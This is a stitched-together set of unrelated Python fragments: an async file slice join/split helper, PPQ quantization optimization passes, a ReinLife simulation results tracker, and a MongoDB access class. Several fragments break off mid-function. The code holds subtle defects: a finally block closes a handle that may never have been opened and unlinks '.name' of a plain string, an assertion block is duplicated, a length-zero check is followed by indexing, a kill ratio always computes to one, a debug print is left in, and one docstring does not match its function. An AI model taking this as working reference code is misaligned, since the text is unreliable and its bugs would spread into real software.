async def joinSlices(
self, outPath: str, sessionId: str, sliceTotal: int, mode: str = "wb", hashType: typing.Optional[str] = None, hashDigest: typing.Optional[str] = None
) -> typing.Dict:
"""Assemble the set of sliced portions in the input session in the specified output path.
Args:
outPath (str): output file path
mode (str, optional): output file mode
sessionId (str): session identifier
sliceTotal (int): number of slices to be assembled into the output file
Returns:
(bool): True for success or False otherwise
"""
ret = {"success": False, "statusMessage": None}
try:
dirPath, fn = os.path.split(outPath)
tempPath = os.path.join(dirPath, "." + fn)
await self.__makedirs(dirPath, mode=0o755, exist_ok=True)
async with aiofiles.open(tempPath, mode) as ofh:
for cn in range(1, sliceTotal + 1):
fp = self.__pathU.getSliceFilePath(sessionId, cn, sliceTotal)
logger.info("slice path (%r) %r", cn, fp)
async with aiofiles.open(fp, "rb") as ifh:
await ofh.write(await ifh.read())
await ofh.flush()
os.fsync(ofh.fileno())
#
ok = True
if hashDigest and hashType:
ok = self.checkHash(tempPath, hashDigest, hashType)
if not ok:
ret = {"success": False, "statusCode": 400, "statusMessage": "Slice join %s hash check failed" % hashType}
if ok:
logger.info("hashcheck (%r) tempPath %r", ok, tempPath)
await self.__replace(tempPath, outPath)
ret = {"success": True, "statusCode": 200, "statusMessage": "Upload join succeeds"}
except Exception as e:
logger.exception("Internal write error for path %r: %s", outPath, str(e))
ret = {"success": False, "statusCode": 400, "statusMessage": "Slice join fails with %s" % str(e)}
finally:
ifh.close()
if os.path.exists(tempPath):
try:
os.unlink(tempPath.name)
except Exception:
pass
logger.info("leaving join with ret %r", ret)
return ret
async def splitFile(self, inputFilePath: str, numSlices: int, sessionId: str, hashType="md5"):
"""Split the input file into
Args:
inputFilePath (str): input file path
sessionId (str): unique session identifier for the split file
numSlices (int): divide input file into this number of chunks
hashType | |
# Only one of 'scales' and 'sizes' can be specified.
# https://github.com/onnx/onnx/blob/master/docs/Changelog.md#Resize-11
assert len(operation.config.input_quantization_config) in {3, 4}, f'Resize Operation {operation.name} should have 3 - 4 inputs, '\
f'while {len(operation.config.input_quantization_config)} was given, is graph defination different from onnx opset 11?'
for config in operation.config.input_quantization_config[1: ]:
config.state = QuantizationStates.SOI
continue
if operation.type == 'Split':
# Inputs (1 - 2)
# input (differentiable) : T
# The tensor to split
# split (optional, non-differentiable) : tensor(int64) (opset 13)
# Optional length of each output.
# Values should be >= 0.Sum of the values must be equal to the dim value at 'axis' specified.
# see also: https://github.com/onnx/onnx/blob/master/docs/Changelog.md#Split-11
# see also: https://github.com/onnx/onnx/blob/master/docs/Operators.md#Split
assert len(operation.config.input_quantization_config) in {1, 2}, f'Split Operation {operation.name} should have 1 - 2 inputs, '\
f'while {len(operation.config.input_quantization_config)} was given, is graph defination different from onnx opset 11?'
for config in operation.config.input_quantization_config[1: ]:
config.state = QuantizationStates.SOI
continue
if operation.type == 'Split':
# Inputs (1 - 2)
# input (differentiable) : T
# The tensor to split
# split (optional, non-differentiable) : tensor(int64) (opset 13)
# Optional length of each output.
# Values should be >= 0.Sum of the values must be equal to the dim value at 'axis' specified.
# see also: https://github.com/onnx/onnx/blob/master/docs/Changelog.md#Split-11
# see also: https://github.com/onnx/onnx/blob/master/docs/Operators.md#Split
assert len(operation.config.input_quantization_config) in {1, 2}, f'Split Operation {operation.name} should have 1 - 2 inputs, '\
f'while {len(operation.config.input_quantization_config)} was given, is graph defination different from onnx opset 11?'
for config in operation.config.input_quantization_config[1: ]:
config.state = QuantizationStates.SOI
continue
class NxpInputRoundingRefinePass(QuantizationOptimizationPass):
def __init__(self) -> None:
super().__init__(name='PPQ Input Quantization Refine Pass')
def optimize(self, processer: GraphCommandProcesser,
dataloader: Iterable, executor: BaseGraphExecutor, **kwargs) -> None:
graph = processer.graph
for variable in graph.variables.values():
if isinstance(variable, QuantableVariable):
if variable.source_op is None or not isinstance(variable.source_op, QuantableOperation):
for config in variable.dest_op_configs:
if config is None: continue
config.rounding = RoundingPolicy.ROUND_HALF_DOWN
class NxpQuantizeFusionPass(QuantizationOptimizationPass):
def __init__(self) -> None:
super().__init__(name='PPQ Quantization Fusion Pass')
@ empty_ppq_cache
def optimize(
self,
processer: GraphCommandProcesser,
dataloader: Iterable,
executor: BaseGraphExecutor,
**kwargs
) -> None:
graph = processer.graph
processer = SearchableGraph(processer)
relu_fusion_matching = processer.activation_matching(
start_op_types=['Conv', 'Add'], end_types=['Relu'])
for conv_name, activation_names in relu_fusion_matching.items():
conv = graph.operations[conv_name]
if not isinstance(conv, QuantableOperation): continue
if len(activation_names) == 1:
activation = graph.operations[activation_names[0]]
if not isinstance(activation, QuantableOperation): continue
activation_cfg = activation.config.output_quantization_config[0]
conv_cfg = conv.config.output_quantization_config[0]
conv_cfg.dominated_by = activation_cfg
conv_cfg.state = QuantizationStates.OVERLAPPED
concat_fusion_matching = processer.concat_matching(
relay_pattern=lambda x, y: False, end_pattern=lambda _: True)
for concat_name, upstream_layer_collection in concat_fusion_matching.items():
concat = graph.operations[concat_name]
if not isinstance(concat, QuantableOperation): continue
for upstream_layer_name in upstream_layer_collection:
upstream_layer = graph.operations[upstream_layer_name]
if not isinstance(upstream_layer, QuantableOperation): continue
upstream_cfg = upstream_layer.config.output_quantization_config[0]
concat_cfg = concat.config.output_quantization_config[0]
upstream_cfg.dominated_by = concat_cfg
upstream_cfg.state = QuantizationStates.OVERLAPPED
class QuantizeFusionPass(QuantizationOptimizationPass):
def __init__(self, platform: TargetPlatform,
fuse_concat: bool = False,
fuse_activation: bool = True,
fuse_passive_op: bool = True,
) -> None:
self.platform = platform
self.fuse_concat = fuse_concat
self.fuse_activation = fuse_activation
self.fuse_passive_op = fuse_passive_op
super().__init__(name='PPQ Quantization Fusion Pass')
def is_same_platform(self, operations: List[Operation]):
platforms = [operation.platform for operation in operations]
return all([platform == platforms[0] for platform in platforms])
@ empty_ppq_cache
def optimize(
self,
processer: GraphCommandProcesser,
dataloader: Iterable,
executor: BaseGraphExecutor,
**kwargs
) -> None:
graph = processer.graph
processer = SearchableGraph(processer)
# fuse computing opeartions and its following activation.
if self.fuse_activation:
# find all activation operations
act_ops = []
for op in graph.operations.values():
if not isinstance(op, QuantableOperation): continue
if op.type in LINEAR_ACTIVATIONS: act_ops.append(op)
elif self.platform == TargetPlatform.PPL_CUDA_INT8:
if op.type in PPLCUDA_ACTIVATIONS: act_ops.append(op)
else: continue
# fusion
for op in act_ops:
assert isinstance(op, QuantableOperation)
upstream_ops = graph.get_upstream_operations(op)
assert len(upstream_ops) == 1, 'Oops, we got some problem here.'
upstream_op = upstream_ops[0]
if self.platform == TargetPlatform.ORT_OOS_INT8:
if not upstream_op.type in ORT_OOS_FUSE_START_OPS: continue
if (isinstance(upstream_op, QuantableOperation) and
len(graph.get_downstream_operations(upstream_op)) == 1 and
upstream_op.platform == op.platform):
upstream_op.config.output_quantization_config[0].dominated_by = (
op.config.output_quantization_config[0])
if self.fuse_passive_op:
# all passive operations should never changes quantization configuration of its input
# so to say their input and output share a same scale.
for op in graph.operations.values():
upstream_layers = graph.get_upstream_operations(op)
if len(upstream_layers) == 0: continue # begining op, can not merge.
if (isinstance(op, QuantableOperation) and
not op.config.is_active_quant_op and
self.is_same_platform(upstream_layers + [op])):
# There are many types of passive operations.
# 'Resize', 'MaxPool', 'GlobalMaxPool',
# 'Slice', 'Pad', 'Split'
# Their first input variable should be data.
input_cfg = op.config.input_quantization_config[0]
for output_cfg in op.config.output_quantization_config:
output_cfg.dominated_by = input_cfg
class InplaceQuantizationSettingPass(QuantizationOptimizationPass):
def __init__(self) -> None:
super().__init__(name='Inplace Qunantization Setting Pass')
def optimize(self, processer: GraphCommandProcesser, dataloader: Iterable,
executor: BaseGraphExecutor, **kwargs) -> None:
for op in processer.graph.operations.values():
if isinstance(op, QuantableOperation):
# set all tensor to be inplace quantized for memory saving.
for cfg, var in op.config_with_variable:
if not var.is_parameter:
cfg.inplace = True
class PPLCudaAddConvReluMerge(QuantizationOptimizationPass):
def __init__(self) -> None:
super().__init__(name='PPL CUDA Conv(Relu) - Add - Relu Merge')
def is_same_platform(self, operations: List[Operation]):
platforms = [operation.platform for operation in operations]
return all([platform == platforms[0] for platform in platforms])
def optimize(self,
processer: GraphCommandProcesser,
dataloader: Iterable,
executor: BaseGraphExecutor,
**kwargs) -> None:
def ep_expr(operation: Operation):
if not isinstance(operation, QuantableOperation): return False
if operation.type == 'Conv': return True
if operation.type in PPLCUDA_ACTIVATIONS:
upstream_ops = graph.get_upstream_operations(operation=operation)
if len(upstream_ops) == 0 and upstream_ops[0].type == 'Conv': return True
if upstream_ops[0] in merged: return True
return False
def retrospect(opeartion: QuantableOperation) -> QuantableOperation:
if not isinstance(opeartion, QuantableOperation): return None
if len(graph.get_upstream_operations(operation)) != 1: return None
parent = graph.get_upstream_operations(operation)[0]
if parent.type != 'Conv': return None
if not isinstance(parent, QuantableOperation): return None
return parent
def merge_fn(operation: QuantableOperation):
assert isinstance(operation, QuantableOperation) and operation.type == 'Add'
# check if upstream ops can be merged
up_ops = graph.get_upstream_operations(operation)
if not self.is_same_platform(up_ops + [operation]): return
# Conv - Add - Relu Merge
config = operation.config.output_quantization_config[0]
# Step - 1: merge add output to next activation.
down_ops = graph.get_downstream_operations(operation)
if (len(down_ops) == 1 and
down_ops[0].type in PPLCUDA_ACTIVATIONS and
isinstance(down_ops[0], QuantableOperation) and
down_ops[0].platform == operation.platform):
config.dominated_by = down_ops[0].config.output_quantization_config[0]
# Step - 2: disable input conv's quantization(only one).
up_ops = graph.get_upstream_operations(operation)
assert len(up_ops) == 2, f'Opeartion {operation.name} should has exact 2 input operations.'
target_operation = None
for op in up_ops:
if op.type == 'Conv':
target_operation = op
elif op.type in PPLCUDA_ACTIVATIONS:
target_operation = retrospect(operation)
if target_operation is not None:
break
if target_operation is not None:
target_operation.config.output_quantization_config[0].dominated_by = config
graph, merged, unchanged = processer.graph, set(), False
# merge conv - add iteratively, until there is no one left.
while not unchanged:
unchanged = True
search_engine = SearchableGraph(processer)
matchings = search_engine(TraversalCommand(
sp_expr=lambda x: (x.type == 'Add' and
isinstance(x, QuantableOperation) and
x not in merged),
rp_expr=lambda x, y: False,
ep_expr=ep_expr,
direction='up'))
# count how many matched inputs does an add operation has.
counter = defaultdict(lambda : 0)
# path[0] is add operation.
for path in matchings: counter[path[0]] += 1
for operation, count in counter.items():
if count == 2:
merge_fn(operation)
merged.add(operation)
unchanged = False
class QuantAlignmentPass(QuantizationOptimizationPass):
"""
对多输入算子执行强制定点覆盖
"""
def __init__(self,
elementwise_merge_method: str = 'Align to Large',
concat_merge_method: str = 'Align to Output',
force_overlap: bool = False) -> None:
self.elementwise_merge_method = elementwise_merge_method
self.concat_merge_method = concat_merge_method
self.force_overlap = force_overlap
assert self.elementwise_merge_method in {'Align to Large', 'Align to Output'}, (
'elementwise_merge_method can only be Align to Large or Align to Output')
assert self.concat_merge_method in {'Align to Large', 'Align to Output'}, (
'concat_merge_method can only be Align to Large or Align to Output')
super().__init__(name='PPQ Quantization Alignment Pass')
def align_to_large(self, op: QuantableOperation) -> TensorQuantizationConfig:
"""
Align quant scale and offset to larger input config.
The first input config will be set as master config,
all slave config will share the same scale and offset with master.
Any change to slave config will be rejected since then.
"""
global_min, global_max, master_config = 0, 0, op.config.input_quantization_config[0]
for config in op.config.input_quantization_config:
assert config.policy.has_property(QuantizationProperty.PER_TENSOR), (
'Quant Alignment can only happen with per tensor quantization.')
local_min = config.scale * (config.quant_min - config.offset)
local_max = config.scale * (config.quant_max - config.offset)
assert isinstance(local_min, torch.Tensor)
assert isinstance(local_max, torch.Tensor)
global_max = max(global_max, local_max.item())
global_min = min(global_min, local_min.item())
# recompute scale and offset
scale, offset = minmax_to_scale_offset(
global_min, global_max, op.config.input_quantization_config[0])
device = master_config.scale.device
master_config._father_config = | |
import numpy as np
import matplotlib.pyplot as plt
import matplotlib
from typing import List
from ReinLife.World.entities import Agent
from ReinLife.Models.utils import BasicBrain
class Tracker:
""" Used for tracking results of an experiment
Variables tracked:
* Avg Population Size
* Avg Population Age
* Avg Population Fitness
* Best Population Age
* Avg Number of Attacks
* Avg Number of Kills
* Avg Number of Intra Kills
* Avg Number of Populations
Parameters:
-----------
update_interval : int
The interval at which to average the results and update the visualization
interactive : bool, default False
Whether to show an interactive matplotlib visualization
print_results : bool, default True
Whether to print the results in the console
google_colab : bool, default False
Whether google colaboratory is used to execute the experiment
nr_genes : int, default None
The number of genes in the gene pool.
NOTE: This is relevant if static families are used.
static_families : bool, default True
Whether the experiment is using static families
brains : List[BasicBrain]
All brains that are currently in the environment
"""
def __init__(self,
update_interval: int,
interactive: bool = False,
print_results: bool = True,
google_colab: bool = False,
nr_genes: int = None,
static_families: bool = True,
brains: List[BasicBrain] = None):
self.nr_genes = nr_genes
# Tracks results each step
self.track_results = {
"Avg Population Size": {gene: [] for gene in range(nr_genes)},
"Avg Population Age": {gene: [] for gene in range(nr_genes)},
"Avg Population Fitness": {gene: [] for gene in range(nr_genes)},
"Best Population Age": {gene: [] for gene in range(nr_genes)},
"Avg Number of Attacks": {gene: [] for gene in range(nr_genes)},
"Avg Number of Kills": {gene: [] for gene in range(nr_genes)},
"Avg Number of Intra Kills": {gene: [] for gene in range(nr_genes)},
"Avg Number of Populations": []
}
# Averages results from the tracker above each update_interval
self.results = {
"Avg Population Size": {gene: [] for gene in range(nr_genes)},
"Avg Population Age": {gene: [] for gene in range(nr_genes)},
"Avg Population Fitness": {gene: [] for gene in range(nr_genes)},
"Best Population Age": {gene: [] for gene in range(nr_genes)},
"Avg Number of Attacks": {gene: [] for gene in range(nr_genes)},
"Avg Number of Kills": {gene: [] for gene in range(nr_genes)},
"Avg Number of Intra Kills": {gene: [] for gene in range(nr_genes)},
"Avg Number of Populations": []
}
self.variables = list(self.results.keys())
self.update_interval = update_interval
self.interactive = interactive
self.google_colab = google_colab
self.families = static_families
self.colors = ["#E69F00", "#56B4E9", "#009E73", "#F0E442", "#0072B2", "#D55E00", "#CC79A7", "#000000"]
self.first_run = True
self.print_results = print_results
if not self.families:
self.nr_genes = 1
if interactive:
columns = 3
self.variables_to_plot = [self.get_val(self.variables, i, columns) for i in range(0, columns ** 2, columns)]
# Prepare plot for google colab
if self.google_colab:
from google.colab import widgets
self.grid = widgets.Grid(columns, columns)
# Prepare plot for matplotlib
else:
self._init_matplotlib(columns, brains)
else:
self.fig = None
def update_results(self, agents: List[Agent], n_epi: int):
""" Update the results by averaging agent-specific values
Parameters:
-----------
agents: List[Agent]
All agents in the environment at n_epi
n_epi : int
The current episode number
"""
self._track_results(agents)
if n_epi % self.update_interval == 0 and n_epi != 0:
self._average_results()
if self.print_results:
print("yes")
self._print_results()
if self.interactive:
if self.google_colab:
self._plot_google()
else:
self._plot_matplotlib()
def _print_results(self):
""" Print the results in the command line """
header_string = "+"
header_title = "|"
width = {variable: 0 for variable in ["Gene"] + self.variables}
for variable in ["Gene"] + self.variables[:-1]:
variable_string = variable.replace(" Population", "").replace("Number", "Nr").replace("of ", "")
header_string += "-" * (len(variable_string) + 2) + "+"
header_title += " " + variable_string + " |"
width[variable] = len(variable_string) + 2
gene_strings = {gene: "" for gene in range(self.nr_genes)}
for gene in range(self.nr_genes):
left, right = self.get_left_right_whitespace(width["Gene"], gene)
gene_string = "|" + left + str(gene) + right + "|"
for variable in self.variables[:-1]:
val = round(self.results[variable][gene][-1], 2)
left, right = self.get_left_right_whitespace(width[variable], val)
gene_string += left + str(val) + right + "|"
gene_strings[gene] = gene_string
print()
print(header_string)
print(header_title)
print(header_string)
for gene in range(self.nr_genes):
print(gene_strings[gene])
print(header_string)
print("\n\n")
def _average_results(self):
""" Average all results every update_interval """
for variable in self.results.keys():
if variable == "Avg Number of Populations":
aggregation = self._aggregate(self.track_results["Avg Number of Populations"])
self.results["Avg Number of Populations"].append(aggregation)
else:
for gen in range(self.nr_genes):
aggregation = self._aggregate(self.track_results[variable][gen])
self.results[variable][gen].append(aggregation)
def _track_results(self, agents: List[Agent]):
""" Update the results each step """
if agents:
self._track_avg_population_size(agents)
self._track_avg_population_age(agents)
self._track_avg_population_fitness(agents)
self._track_best_age(agents)
self._track_avg_nr_attacks(agents)
self._track_avg_nr_kills(agents)
self._track_avg_nr_populations(agents)
# Append -1 to indicate that no results could be added
else:
for variable in self.track_results.keys():
if variable != "Avg Number of Populations":
for gen in range(self.nr_genes):
self.track_results[variable][gen].append(-1)
else:
self.track_results[variable].append(-1)
def _track_avg_population_size(self, agents: List[Agent]):
""" Track the average size of all populations """
for gene in range(self.nr_genes):
genes = [agent.gene for agent in agents if (agent.gene == gene and self.families) or (not self.families)]
if len(genes) == 0:
self.track_results["Avg Population Size"][gene].append(-1)
else:
unique, counts = np.unique(genes, return_counts=True)
self.track_results["Avg Population Size"][gene].append(np.mean(counts))
def _track_avg_population_age(self, agents: List[Agent]):
""" Track the average age of all entities """
for gene in range(self.nr_genes):
pop_age = [agent.age for agent in agents if (agent.gene == gene and self.families) or (not self.families)]
if len(pop_age) == 0:
self.track_results["Avg Population Age"][gene].append(-1)
else:
self.track_results["Avg Population Age"][gene].append(np.mean(pop_age))
def _track_avg_population_fitness(self, agents: List[Agent]):
""" Update the average fitness/reward of all entities """
for gene in range(self.nr_genes):
fitness = [agent.reward for agent in agents if (agent.gene == gene and self.families) or
(not self.families)]
if len(fitness) == 0:
self.track_results["Avg Population Fitness"][gene].append(-1)
else:
self.track_results["Avg Population Fitness"][gene].append(np.mean(fitness))
def _track_best_age(self, agents: List[Agent]):
""" Track the highest age per gen """
for gene in range(self.nr_genes):
ages = [agent.age for agent in agents if (agent.gene == gene and self.families) or (not self.families)]
if len(ages) == 0:
self.track_results["Best Population Age"][gene].append(-1)
else:
max_age = max([agent.age for agent in agents if (agent.gene == gene and self.families) or
(not self.families)])
self.track_results["Best Population Age"][gene].append(max_age)
def _track_avg_nr_attacks(self, agents: List[Agent]):
""" Track the average number of attacks per gen """
for gene in range(self.nr_genes):
actions = [agent.action for agent in agents if (agent.gene == gene and self.families) or
(not self.families)]
attacks = [action for action in actions if action >= 4]
if len(actions) == 0:
self.track_results["Avg Number of Attacks"][gene].append(-1)
else:
self.track_results["Avg Number of Attacks"][gene].append(len(attacks) / len(actions))
def _track_avg_nr_kills(self, agents: List[Agent]):
""" Track the average number of kills per gen """
for gene in range(self.nr_genes):
killed = sum([agent.killed for agent in agents if (agent.gene == gene and self.families) or
(not self.families)])
intra_killed = sum([agent.killed for agent in agents if (agent.gene == gene and self.families) or
(not self.families)])
self.track_results["Avg Number of Kills"][gene].append(killed)
if killed != 0:
self.track_results["Avg Number of Intra Kills"][gene].append(intra_killed / killed)
else:
self.track_results["Avg Number of Intra Kills"][gene].append(0)
def _track_avg_nr_populations(self, agents: List[Agent]):
""" Track the average nr of populations """
genes = [agent.gene for agent in agents]
self.track_results["Avg Number of Populations"].append(len(set(genes)))
@staticmethod
def get_val(data: List, i: int, col: int) -> List[bool]:
""" Used to convert a 1d list to a 2d matrix even if their total sizes do not match """
length = len(data[i:i + col])
if length == col:
return data[i:i + col]
elif length > 0:
return data[i:i + col] + [False for _ in range(col - length)]
else:
return [False for _ in range(col)]
def _aggregate(self, a_list: List) -> np.array:
aggregation = np.mean([val for val in a_list[-self.update_interval:] if val > -1])
del a_list[:]
return aggregation
def create_matplotlib(self, columns: int, brains: List[BasicBrain]):
self._init_matplotlib(columns, brains)
self._plot_matplotlib()
def _init_matplotlib(self, columns: int, brains: List[BasicBrain]):
""" Initialize the matplotlib figure to draw on """
plt.ion()
self.fig, self.ax = plt.subplots(columns, columns, figsize=(14, 10))
for i, _ in enumerate(self.variables_to_plot):
for k, variable in enumerate(self.variables_to_plot[i]):
if variable:
# Basic settings
self.ax[i][k].set_title(variable, fontsize=11)
self.ax[i][k].set_xlabel('Nr Episodes', fontsize=8)
self.ax[i][k].tick_params(axis='both', which='major', labelsize=7)
# Dark thick border
self.ax[i][k].spines['bottom'].set_linewidth('1.5')
self.ax[i][k].spines['left'].set_linewidth('1.5')
# Light border
self.ax[i][k].spines['top'].set_linewidth('1.5')
self.ax[i][k].spines['top'].set_color('#EEEEEE')
self.ax[i][k].spines['right'].set_linewidth('1.5')
self.ax[i][k].spines['right'].set_color('#EEEEEE')
# Grids
self.ax[i][k].grid(which='major', color='#EEEEEE', linestyle='-', linewidth=.5)
self.ax[i][k].minorticks_on()
self.ax[i][k].grid(which='minor', color='#EEEEEE', linestyle='--', linewidth=.5)
else:
if self.families:
for gene in range(self.nr_genes):
label = f"{brains[gene].method}: Gen {gene}"
self.ax[i][k].plot([], [], label=label, color=self.colors[gene])
else:
self.ax[i][k].plot([], [], label="", color=self.colors[0])
self.ax[i][k].set_title("Legend", fontsize=12)
self.ax[i][k].legend(loc='upper center', frameon=False)
self.ax[i][k].axis('off')
self.fig.tight_layout(pad=3.0)
plt.show()
def _plot_matplotlib(self):
""" Plots intermediate results in matplotlib interactively
NOTE: If you use pycharm, make | |
from json import load
from os.path import dirname, exists, join
from pymongo import MongoClient # https://github.com/mongodb/mongo-python-driver
from bson import ObjectId
from traceback import format_exc
from common.loggable_api import Loggable
class DatabaseApi(Loggable):
"""
Reveals API for database, i.e. MongoDB
"""
max_err_chars = 5000
max_wait_for_connection = 2000
def __init__(self, service_name):
"""
Raises RuntimeError.
Arguments:
- service_name -- str
"""
super().__init__(service_name, "DatabaseApi")
self._config = self._getMongoDbConfiguration(service_name)
def createApplicativeUserDocument(self, document):
"""
Returns void.
Raises RuntimeError.
Arguments:
- document -- dict.
"""
function_name = "createApplicativeUserDocument"
self._debug(function_name, "Start\ndocument:\t%s" % str(document))
try:
self._create(
self._config["connection"]["host"],
self._config["connection"]["port"],
self._config["user"]["username"],
self._config["user"]["password"],
self._config["documents"]["applicative_user"]["database_name"],
self._config["documents"]["applicative_user"]["collection_name"],
document
)
self._debug(function_name, "Finish")
except RuntimeError as err:
err_msg = "%s -- %s -- Failed.\n%s" % (self._class_name, function_name, str(err))
raise RuntimeError(err_msg)
def createFinancialReportDocument(self, document):
"""
Returns void.
Raises RuntimeError.
Arguments:
- document -- dict.
"""
try:
self._debug("createFinancialReportDocument", "Start\ndocument:\t%s" % str(document))
self._create(
self._config["connection"]["host"],
self._config["connection"]["port"],
self._config["user"]["username"],
self._config["user"]["password"],
self._config["documents"]["financial_report"]["database_name"],
self._config["documents"]["financial_report"]["collection_name"],
document
)
self._debug("createFinancialReportDocument", "Finish")
except RuntimeError as err:
err_msg = "%s -- createFinancialReportDocument -- Failed\n%s" % (self._class_name, str(err))
raise RuntimeError(err_msg)
def createFinancialUserProfileDocument(self, document):
"""
Returns void.
Raises RuntimeError.
Arguments:
- document -- dict.
"""
function_name = "createFinancialUserProfileDocument"
try:
self._debug(function_name, "Start\ndocument:\t%s" % str(document))
self._create(
self._config["connection"]["host"],
self._config["connection"]["port"],
self._config["user"]["username"],
self._config["user"]["password"],
self._config["documents"]["financial_user_profile"]["database_name"],
self._config["documents"]["financial_user_profile"]["collection_name"],
document
)
self._debug(function_name, "Finish")
except RuntimeError as err:
err_msg = "%s -- %s -- Failed.\n%s" % (self._class_name, function_name, str(err))
raise RuntimeError(err_msg)
def createInvestmentRecommendationDocument(self, document):
"""
Returns InvestmentRecommendation or None.
Raises RuntimeError.
- user_id -- str -- Unique id of an ApplicativeUser at the database.
"""
try:
self._debug("createInvestmentRecommendationDocument", "Start\ndocument:\t%s" % str(document))
self._create(
self._config["connection"]["host"],
self._config["connection"]["port"],
self._config["user"]["username"],
self._config["user"]["password"],
self._config["documents"]["investment_recommendation"]["database_name"],
self._config["documents"]["investment_recommendation"]["collection_name"],
document
)
self._debug("createInvestmentRecommendationDocument", "Finish")
except RuntimeError as err:
err_msg = "%s -- createInvestmentRecommendationDocument -- Failed.\n%s" % (self._class_name, str(err))
raise RuntimeError(err_msg)
def createTaskDocument(self, document):
"""
Returns void.
Raises RuntimeError.
Arguments:
- document -- dict.
"""
try:
self._debug("createTaskDocument", "Started\ndocument:\t%s" % str(document))
self._create(
self._config["connection"]["host"],
self._config["connection"]["port"],
self._config["user"]["username"],
self._config["user"]["password"],
self._config["documents"]["task"]["database_name"],
self._config["documents"]["task"]["collection_name"],
document
)
self._debug("createTaskDocument", "Finish")
except RuntimeError as err:
err_msg = "%s -- createTaskDocument -- Failed\n%s" % (self._class_name, str(err))
raise RuntimeError(err_msg)
def createTestDocument(self, document):
"""
Returns void.
Raises RuntimeError.
Arguments:
- document -- dict.
"""
try:
self._debug("createTestDocument", "Start\ndocument:\t%s" % str(document))
self._create(
self._config["connection"]["host"],
self._config["connection"]["port"],
self._config["user"]["username"],
self._config["user"]["password"],
self._config["documents"]["test"]["database_name"],
self._config["documents"]["test"]["collection_name"],
document
)
self._debug("createTestDocument", "Finish")
except RuntimeError as err:
err_msg = "%s -- createTestDocument -- Failed\n%s" % (self._class_name, str(err))
raise RuntimeError(err_msg)
def deleteTaskDocumentBy(self, filter):
"""
Returns void.
Raises RuntimeError.
Arguments:
- filter -- dict -- identifies documents to be deleted.
"""
try:
self._debug("deleteTaskDocumentBy", "Start\nfilter:\t%s" % str(filter))
self._deleteBy(
self._config["connection"]["host"],
self._config["connection"]["port"],
self._config["user"]["username"],
self._config["user"]["password"],
self._config["documents"]["task"]["database_name"],
self._config["documents"]["task"]["collection_name"],
filter
)
self._debug("deleteTaskDocumentBy", "Finish")
except RuntimeError as err:
err_msg = "%s -- deleteTaskDocumentBy -- Failed\n%s" % (self._class_name, str(err))
raise RuntimeError(err_msg)
def deleteTestDocumentBy(self, filter):
"""
Returns void.
Raises RuntimeError.
Arguments:
- filter -- dict -- identifies documents to be deleted.
"""
try:
self._debug("deleteTestDocumentBy", "Start\nfilter:\t%s" % str(filter))
self._deleteBy(
self._config["connection"]["host"],
self._config["connection"]["port"],
self._config["user"]["username"],
self._config["user"]["password"],
self._config["documents"]["test"]["database_name"],
self._config["documents"]["test"]["collection_name"],
filter
)
self._debug("deleteTestDocumentBy", "Finish")
except RuntimeError as err:
err_msg = "%s -- deleteTestDocument -- Failed\n%s" % (self._class_name, str(err))
raise RuntimeError(err_msg)
def doesApplicativeUserDocumentExist(self, filter):
"""
Returns bool.
Raises RuntimeError.
Arguments:
filter -- dict.
"""
function_name = "doesApplicativeUserDocumentExist"
self._debug(function_name, "Start\nfilter:\t%s" % str(filter))
user_by_filter = self.readApplicativeUserDocumentBy(filter)
result = False
if user_by_filter:
result = True
self._debug(function_name, "Finish\nresult:\t%s" % str(result))
return result
def getAcronymsForCompaniesWithFinancialReports(self):
"""
Returns list<str>.
Raises RuntimeError.
"""
try:
self._debug("getAcronymsForCompaniesWithFinancialReports", "Start")
documents = self._findBy(
self._config["connection"]["host"],
self._config["connection"]["port"],
self._config["user"]["username"],
self._config["user"]["password"],
self._config["documents"]["financial_report"]["database_name"],
self._config["documents"]["financial_report"]["collection_name"],
{ "company_acronym": { "$exists": True } }
)
result = []
for document in documents:
company_acronym = document["company_acronym"]
if not company_acronym in result:
result.append(company_acronym)
self._debug("getAcronymsForCompaniesWithFinancialReports", "Finish\nresult:\t%s" % str(result))
return result
except RuntimeError as err:
err_msg = "%s -- getAcronymsForCompaniesWithFinancialReports -- Failed.\n%s" % (self._class_name, str(err))
raise RuntimeError(err_msg)
def readApplicativeUserDocumentBy(self, filter):
"""
Returns dict or None.
Raises RuntimeError.
Arguments:
- filter -- dict -- identifies documents to be read.
"""
try:
self._debug("readApplicativeUserDocumentBy", "Start\nfilter:\t%s" % str(filter))
result = self._findOneBy(
self._config["connection"]["host"],
self._config["connection"]["port"],
self._config["user"]["username"],
self._config["user"]["password"],
self._config["documents"]["applicative_user"]["database_name"],
self._config["documents"]["applicative_user"]["collection_name"],
filter
)
self._debug("readApplicativeUserDocumentBy", "Finish\nresult:\t%s" % str(result))
return result
except RuntimeError as err:
err_msg = "%s -- readApplicativeUserDocumentBy -- Failed.\n%s" % (self._class_name, str(err))
raise RuntimeError(err_msg)
def readFinancialReportDocumentsBy(self, filter):
"""
Returns list<dict> or None.
Raises RuntimeError.
Arguments:
- filter -- dict -- identifies documents to be read.
"""
try:
self._debug("readFinancialReportDocumentsBy", "Start\nfilter:\t%s" % str(filter))
result = self._findBy(
self._config["connection"]["host"],
self._config["connection"]["port"],
self._config["user"]["username"],
self._config["user"]["password"],
self._config["documents"]["financial_report"]["database_name"],
self._config["documents"]["financial_report"]["collection_name"],
filter
)
self._debug("readFinancialReportDocumentsBy", "Finish\nresult:\t%s" % str(result))
return result
except RuntimeError as err:
err_msg = "%s -- readFinancialReportDocumentsBy -- Failed.\n%s" % (self._class_name, str(err))
raise RuntimeError(err_msg)
def readFinancialUserProfileDocumentBy(self, filter):
"""
Returns dict or None.
Raises RuntimeError.
Arguments:
- filter -- dict -- identifies documents to be read.
"""
try:
self._debug("readFinancialUserProfileDocumentBy", "Start\nfilter:\t%s" % str(filter))
result = self._findOneBy(
self._config["connection"]["host"],
self._config["connection"]["port"],
self._config["user"]["username"],
self._config["user"]["password"],
self._config["documents"]["financial_user_profile"]["database_name"],
self._config["documents"]["financial_user_profile"]["collection_name"],
filter
)
self._debug("readFinancialUserProfileDocumentBy", "Finish\nresult:\t%s" % str(result))
return result
except RuntimeError as err:
err_msg = "%s -- readFinancialUserProfileDocumentBy -- Failed.\n%s" % (self._class_name, str(err))
raise RuntimeError(err_msg)
def readInvestmentRecommendationDocumentsBy(self, filter):
"""
Returns list<dict>.
Raises RuntimeError.
Arguments:
- filter -- dict -- identifies documents to read.
"""
try:
function_name = "readInvestmentRecommendationDocumentsBy"
self._debug(function_name, "Start\nfilter:\t%s" % str(filter))
result = self._findBy(
self._config["connection"]["host"],
self._config["connection"]["port"],
self._config["user"]["username"],
self._config["user"]["password"],
